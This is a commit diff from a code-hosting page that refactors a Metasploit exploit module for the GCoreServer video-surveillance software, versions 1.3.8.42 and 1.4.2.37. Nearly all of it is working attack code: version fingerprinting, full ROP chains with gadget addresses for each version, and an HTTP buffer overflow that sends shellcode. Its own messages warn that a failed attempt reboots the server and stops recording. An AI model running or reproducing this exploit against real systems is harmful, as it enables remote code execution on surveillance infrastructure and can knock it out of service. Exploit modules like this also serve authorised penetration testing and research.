codefixing
parent
7fe750422e
commit
8d50c34e4b
|
@ -40,197 +40,205 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jan 24 2017',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def fingerprint
|
||||
print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
|
||||
@doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
|
||||
statistics = @doc.css('modulestate')
|
||||
statistics.each do |x|
|
||||
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
|
||||
mytarget = targets[1]
|
||||
print_status("Vulnerable version detected: #{mytarget.name}")
|
||||
return Exploit::CheckCode::Appears, mytarget
|
||||
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
|
||||
mytarget = targets[2]
|
||||
print_status("Vulnerable version detected: #{mytarget.name}")
|
||||
return Exploit::CheckCode::Appears, mytarget
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(13003)
|
||||
])
|
||||
end
|
||||
end
|
||||
print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
|
||||
print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
|
||||
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
|
||||
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
|
||||
[Exploit::CheckCode::Unknown, nil]
|
||||
end
|
||||
|
||||
def check
|
||||
fingerprint
|
||||
end
|
||||
def fingerprint
|
||||
print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
|
||||
@doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
|
||||
statistics = @doc.css('modulestate')
|
||||
statistics.each do |x|
|
||||
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
|
||||
mytarget = targets[1]
|
||||
print_status("Vulnerable version detected: #{mytarget.name}")
|
||||
return Exploit::CheckCode::Appears, mytarget
|
||||
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
|
||||
mytarget = targets[2]
|
||||
print_status("Vulnerable version detected: #{mytarget.name}")
|
||||
return Exploit::CheckCode::Appears, mytarget
|
||||
end
|
||||
end
|
||||
print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
|
||||
print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
|
||||
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
|
||||
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
|
||||
[Exploit::CheckCode::Unknown, nil]
|
||||
end
|
||||
|
||||
def ropchain(target)
|
||||
if target.name.include? '1.3.8.42'
|
||||
print_status('Preparing ROP chain for target 1.3.8.42!')
|
||||
def check
|
||||
fingerprint
|
||||
end
|
||||
|
||||
# 0x140cd00a9 | add rsp, 0x10 ; ret
|
||||
# This is needed because the next 16 bytes are sometimes messed up.
|
||||
overwrite = [0x140cd00a9].pack('Q<')
|
||||
def ropchain(target)
|
||||
if target.name.include? '1.3.8.42'
|
||||
print_status('Preparing ROP chain for target 1.3.8.42!')
|
||||
|
||||
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
|
||||
stack_align = "\x43" * 16
|
||||
# 0x140cd00a9 | add rsp, 0x10 ; ret
|
||||
# This is needed because the next 16 bytes are sometimes messed up.
|
||||
overwrite = [0x140cd00a9].pack('Q<')
|
||||
|
||||
# We have 40 bytes left to align our stack!
|
||||
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
|
||||
# and to restore it.
|
||||
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
|
||||
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
|
||||
stack_align = "\x43" * 16
|
||||
|
||||
# 0x1404e5cbf: mov edx, esp ; ret
|
||||
stack_align += [0x1404e5cbf].pack('Q<')
|
||||
# We have 40 bytes left to align our stack!
|
||||
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
|
||||
# and to restore it.
|
||||
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
|
||||
|
||||
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
|
||||
# We pop -XXXXX as \xxxxxxxxx to rax
|
||||
# 0x14013db94 pop rax ; ret
|
||||
stack_align += [0x14013db94].pack('Q<')
|
||||
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
|
||||
# 0x1404e5cbf: mov edx, esp ; ret
|
||||
stack_align += [0x1404e5cbf].pack('Q<')
|
||||
|
||||
# Our value is enough.
|
||||
# 0x1407dc547 | add rax,rdx ; ret
|
||||
stack_align += [0x1407dc547].pack('Q<')
|
||||
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
|
||||
# We pop -XXXXX as \xxxxxxxxx to rax
|
||||
# 0x14013db94 pop rax ; ret
|
||||
stack_align += [0x14013db94].pack('Q<')
|
||||
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
|
||||
|
||||
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
|
||||
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
|
||||
stack_align += [0x140ce9ac0].pack('Q<')
|
||||
# Our value is enough.
|
||||
# 0x1407dc547 | add rax,rdx ; ret
|
||||
stack_align += [0x1407dc547].pack('Q<')
|
||||
|
||||
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
|
||||
# We want RCX to hold the value for VP Argument "Address of Shellcode"
|
||||
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
|
||||
rop = ''
|
||||
rop += [0x140cc2234].pack('Q<')
|
||||
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
|
||||
# 0x1400ae2ae | POP RDX; RETN
|
||||
# 0x...1000 | Value for VP "Size of Memory"
|
||||
rop += [0x1400ae2ae].pack('Q<')
|
||||
rop += [0x0000000000000400].pack('Q<')
|
||||
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
|
||||
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
|
||||
stack_align += [0x140ce9ac0].pack('Q<')
|
||||
|
||||
# 0x14029dc6e: | POP R8; RET
|
||||
# 0x...40 | Value for VP "Execute Permissions"
|
||||
rop += [0x14029dc6e].pack('Q<')
|
||||
rop += [0x0000000000000040].pack('Q<')
|
||||
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
|
||||
# We want RCX to hold the value for VP Argument "Address of Shellcode"
|
||||
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
|
||||
rop = ''
|
||||
rop += [0x140cc2234].pack('Q<')
|
||||
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
|
||||
# 0x1400ae2ae | POP RDX; RETN
|
||||
# 0x...1000 | Value for VP "Size of Memory"
|
||||
rop += [0x1400ae2ae].pack('Q<')
|
||||
rop += [0x0000000000000400].pack('Q<')
|
||||
|
||||
# 0x1400aa030 | POP R9; RET
|
||||
# 0x1409AE1A8 is the .data section of gcore
|
||||
rop += [0x1400aa030].pack('Q<')
|
||||
rop += [0x1409AE1A8].pack('Q<')
|
||||
# 0x14029dc6e: | POP R8; RET
|
||||
# 0x...40 | Value for VP "Execute Permissions"
|
||||
rop += [0x14029dc6e].pack('Q<')
|
||||
rop += [0x0000000000000040].pack('Q<')
|
||||
|
||||
# 0x140b5927a: xor rax, rax ; ret
|
||||
rop += [0x140b5927a].pack('Q<')
|
||||
# 0x1400aa030 | POP R9; RET
|
||||
# 0x1409AE1A8 is the .data section of gcore
|
||||
rop += [0x1400aa030].pack('Q<')
|
||||
rop += [0x1409AE1A8].pack('Q<')
|
||||
|
||||
# 0x1402ce220 pop rax ; ret
|
||||
# 0x140d752b8 | VP Stub IAT Entry
|
||||
rop += [0x1402ce220].pack('Q<')
|
||||
rop += [0x140d752b8].pack('Q<')
|
||||
# 0x140b5927a: xor rax, rax ; ret
|
||||
rop += [0x140b5927a].pack('Q<')
|
||||
|
||||
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
|
||||
rop += [0x1407c6b3b].pack('Q<')
|
||||
# 0x1402ce220 pop rax ; ret
|
||||
# 0x140d752b8 | VP Stub IAT Entry
|
||||
rop += [0x1402ce220].pack('Q<')
|
||||
rop += [0x140d752b8].pack('Q<')
|
||||
|
||||
# 0x140989c41 push rax; ret
|
||||
rop += [0x140989c41].pack('Q<')
|
||||
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
|
||||
rop += [0x1407c6b3b].pack('Q<')
|
||||
|
||||
# 0x1406d684d jmp rsp
|
||||
rop += [0x1406d684d].pack('Q<')
|
||||
# 0x140989c41 push rax; ret
|
||||
rop += [0x140989c41].pack('Q<')
|
||||
|
||||
[rop, overwrite, stack_align]
|
||||
# 0x1406d684d jmp rsp
|
||||
rop += [0x1406d684d].pack('Q<')
|
||||
|
||||
elsif target.name.include? '1.4.2.37'
|
||||
print_status('Preparing ROP chain for target 1.4.2.37!')
|
||||
[rop, overwrite, stack_align]
|
||||
|
||||
# 0x140cd9759 | add rsp, 0x10 ; ret
|
||||
# This is needed because the next 16 bytes are sometimes messed up.
|
||||
overwrite = [0x140cd9759].pack('Q<')
|
||||
elsif target.name.include? '1.4.2.37'
|
||||
print_status('Preparing ROP chain for target 1.4.2.37!')
|
||||
|
||||
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
|
||||
stack_align = "\x43" * 16
|
||||
# 0x140cd9759 | add rsp, 0x10 ; ret
|
||||
# This is needed because the next 16 bytes are sometimes messed up.
|
||||
overwrite = [0x140cd9759].pack('Q<')
|
||||
|
||||
# We have 40 bytes left to align our stack!
|
||||
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
|
||||
# and to restore it.
|
||||
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
|
||||
# These bytes "\x43" are sacrificed ; we align the stack to jump over this.
|
||||
stack_align = "\x43" * 16
|
||||
|
||||
# 0x1404f213f: mov edx, esp ; ret
|
||||
stack_align += [0x1404f213f].pack('Q<')
|
||||
# We have 40 bytes left to align our stack!
|
||||
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
|
||||
# and to restore it.
|
||||
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
|
||||
|
||||
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
|
||||
# We pop -XXXXX as \xxxxxxxxx to rax
|
||||
# 0x14000efa8 pop rax ; ret
|
||||
stack_align += [0x14000efa8].pack('Q<')
|
||||
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
|
||||
# 0x1404f213f: mov edx, esp ; ret
|
||||
stack_align += [0x1404f213f].pack('Q<')
|
||||
|
||||
# Our value is enough.
|
||||
# 0x140cdfe65 | add rax,rdx ; ret
|
||||
stack_align += [0x140cdfe65].pack('Q<')
|
||||
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
|
||||
# We pop -XXXXX as \xxxxxxxxx to rax
|
||||
# 0x14000efa8 pop rax ; ret
|
||||
stack_align += [0x14000efa8].pack('Q<')
|
||||
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
|
||||
|
||||
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
|
||||
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
|
||||
stack_align += [0x140cf3110].pack('Q<')
|
||||
# Our value is enough.
|
||||
# 0x140cdfe65 | add rax,rdx ; ret
|
||||
stack_align += [0x140cdfe65].pack('Q<')
|
||||
|
||||
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
|
||||
# We want RCX to hold the value for VP Argument "Address of Shellcode"
|
||||
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
|
||||
rop = ''
|
||||
rop += [0x140ccb984].pack('Q<')
|
||||
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
|
||||
# 0x14008f7ec | POP RDX; RETN
|
||||
# 0x...1000 | Value for VP "Size of Memory"
|
||||
rop += [0x14008f7ec].pack('Q<')
|
||||
rop += [0x0000000000000400].pack('Q<')
|
||||
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
|
||||
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
|
||||
stack_align += [0x140cf3110].pack('Q<')
|
||||
|
||||
# 0x140a88f81: | POP R8; RET
|
||||
# 0x...40 | Value for VP "Execute Permissions"
|
||||
rop += [0x140a88f81].pack('Q<')
|
||||
rop += [0x0000000000000040].pack('Q<')
|
||||
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
|
||||
# We want RCX to hold the value for VP Argument "Address of Shellcode"
|
||||
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
|
||||
rop = ''
|
||||
rop += [0x140ccb984].pack('Q<')
|
||||
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
|
||||
# 0x14008f7ec | POP RDX; RETN
|
||||
# 0x...1000 | Value for VP "Size of Memory"
|
||||
rop += [0x14008f7ec].pack('Q<')
|
||||
rop += [0x0000000000000400].pack('Q<')
|
||||
|
||||
# 0x1400aa030 | POP R9; RET
|
||||
# 0x... | Value for VP "Writeable location". Not sure if needed?
|
||||
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
|
||||
rop += [0x1400aa030].pack('Q<')
|
||||
rop += [0x140FB5000].pack('Q<')
|
||||
# 0x140a88f81: | POP R8; RET
|
||||
# 0x...40 | Value for VP "Execute Permissions"
|
||||
rop += [0x140a88f81].pack('Q<')
|
||||
rop += [0x0000000000000040].pack('Q<')
|
||||
|
||||
# 0x140ccea2f: xor rax, rax ; et
|
||||
rop += [0x140ccea2f].pack('Q<')
|
||||
# 0x1400aa030 | POP R9; RET
|
||||
# 0x... | Value for VP "Writeable location". Not sure if needed?
|
||||
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
|
||||
rop += [0x1400aa030].pack('Q<')
|
||||
rop += [0x140FB5000].pack('Q<')
|
||||
|
||||
# 0x14000efa8 pop rax ; ret
|
||||
# 0x140d83268 | VP Stub IAT Entry
|
||||
rop += [0x14000efa8].pack('Q<')
|
||||
rop += [0x140d83268].pack('Q<')
|
||||
# 0x140ccea2f: xor rax, rax ; et
|
||||
rop += [0x140ccea2f].pack('Q<')
|
||||
|
||||
# 0x14095b254 mov rax, qword [rax] ; ret ;
|
||||
rop += [0x14095b254].pack('Q<')
|
||||
# 0x14000efa8 pop rax ; ret
|
||||
# 0x140d83268 | VP Stub IAT Entry
|
||||
rop += [0x14000efa8].pack('Q<')
|
||||
rop += [0x140d83268].pack('Q<')
|
||||
|
||||
# 0x140166c46 push rax; ret
|
||||
rop += [0x140166c46].pack('Q<')
|
||||
# 0x14095b254 mov rax, qword [rax] ; ret ;
|
||||
rop += [0x14095b254].pack('Q<')
|
||||
|
||||
# 0x140cfb98d jmp rsp
|
||||
rop += [0x140cfb98d].pack('Q<')
|
||||
# 0x140166c46 push rax; ret
|
||||
rop += [0x140166c46].pack('Q<')
|
||||
|
||||
[rop, overwrite, stack_align]
|
||||
# 0x140cfb98d jmp rsp
|
||||
rop += [0x140cfb98d].pack('Q<')
|
||||
|
||||
else
|
||||
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
|
||||
[rop, overwrite, stack_align]
|
||||
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target['auto']
|
||||
checkcode, self.target = fingerprint
|
||||
fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
|
||||
target_rop, target_overwrite, target_stack_align = ropchain(target)
|
||||
else
|
||||
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
|
||||
print_status("Selected version: #{self.target.name}")
|
||||
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target['auto']
|
||||
checkcode, target = fingerprint
|
||||
if checkcode.to_s.include? 'unknown'
|
||||
print_status('No vulnerable Version detected - exploit aborted.')
|
||||
else
|
||||
target_rop, target_overwrite, target_stack_align = ropchain(target)
|
||||
begin
|
||||
connect
|
||||
print_status('Crafting Exploit...')
|
||||
|
||||
http_req = 'GET /'
|
||||
buffer_200 = "\x41" * 200
|
||||
rop = target_rop
|
||||
|
@ -251,35 +259,5 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
|
||||
print_status("Selected version: #{self.target.name}")
|
||||
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
|
||||
begin
|
||||
connect
|
||||
print_status('Crafting Exploit...')
|
||||
|
||||
http_req = 'GET /'
|
||||
buffer_200 = "\x41" * 200
|
||||
rop = target_rop
|
||||
payload.encoded
|
||||
buffer_1823 = "\x41" * 1823
|
||||
overwrite = target_overwrite
|
||||
stack_align = target_stack_align
|
||||
|
||||
exploit = http_req + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
|
||||
print_status('Exploit ready for sending...')
|
||||
sock.put(exploit, 'Timeout' => 20)
|
||||
print_status('Exploit sent!')
|
||||
buf = sock.get_once || ''
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
ensure
|
||||
print_status('Closing socket.')
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue